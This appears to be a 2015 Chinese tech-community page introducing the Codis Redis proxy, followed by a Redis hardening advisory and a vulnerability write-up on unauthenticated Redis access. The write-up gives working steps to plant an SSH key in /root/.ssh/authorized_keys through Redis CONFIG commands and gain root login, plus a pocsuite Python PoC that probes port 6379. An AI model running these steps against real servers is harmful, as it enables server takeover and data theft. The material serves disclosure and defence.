codis-proxy 是客户端连接的 Redis 代理服务, codis-proxy 本身实现了 Redis 协议, 表现得和一个原生的 Redis 没什么区别 (就像 Twemproxy), 对于一个业务来说, 可以部署多个 codis-proxy, codis-proxy 本身是无状态的.
 
codis-config是Codis的管理工具, 支持包括, 添加/删除 Redis 节点, 添加/删除 Proxy 节点, 发起数据迁移等操作. codis-config本身还自带了一个 http server, 会启动一个 dashboard, 用户可以直接在浏览器上观察Codis集群的运行状态.
codis-server是Codis项目维护的一个 Redis 分支, 基于 2.8.13 开发, 加入了 slot 的支持和原子的数据迁移指令. Codis 上层的 codis-proxy 和 codis-config 只能和这个版本的 Redis 交互才能正常运行.
Codis 依赖 ZooKeeper 来存放数据路由表和 codis-proxy 节点的元信息, codis-config 发起的命令都会通过 ZooKeeper 同步到各个存活的 codis-proxy.
Codis 支持按照 Namespace 区分不同的产品, 拥有不同的 product name 的产品, 各项配置都不会冲突.目前 Codis 已经是稳定阶段,目前豌豆荚已经在使用该系统。架构
codis_arch.png
特性:
    []自动平衡[/][]使用非常简单[/][]图形化的面板和管理工具[/][]支持绝大多数 Redis 命令,完全兼容 twemproxy[/][]支持 Redis 原生客户端[/][]安全而且透明的数据移植,可根据需要轻松添加和删除节点[/][]提供命令行接口[/][]RESTful APIs[/]

安装:
cd  /usr/local/go/src/github.com/wandoulabs/codis;./bootstrap.sh
make gotest
ln -s /usr/local/go/src/github.com/wandoulabs/codis/ /usr/local/codis
操作界面展示:
Dashboard
codis_group.png

Migrate
snapshot_migrate.png

Slots
slots.png


项目地址:https://github.com/CodisLabs/codis
项目作者:刘奇


Redis风险安全公告

数据库 OpenSkill 发表了文章 0 个评论 3445 次浏览 2015-12-04 19:53 来自相关话题

今天接到ucloud的安全公告信息,内容如下,分享给大家:近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的 ...查看全部
今天接到ucloud的安全公告信息,内容如下,分享给大家:
近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。
对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。


修复方案


1、监听指定接口
修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。
2、启用认证
在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。
3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
 2)直接关闭CONFIG命令,方法如下:
rename-command CONFIG ""
修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务
使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。
5、配置访问控制策略
如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。
http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号:
openskill.gif

qqun.png

Redis 未授权访问缺陷可轻易导致系统被黑

数据库 OpenSkill 发表了文章 0 个评论 3848 次浏览 2015-12-03 20:08 来自相关话题

漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在 ...查看全部
redisbug1.png


漏洞概要


Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。


漏洞详情


漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
redisbug2.png


根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。


1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa

redisbug3.png
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
redisbug4.png

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i  id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。


Redis 未授权的其他危害与利用


数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等 
redis5.png

代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
redisbug5.png

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
redisbug6.png

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
redisbug7.png

redisbug8.png


漏洞 PoC


#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)
redisbug9.png


分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715


  Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。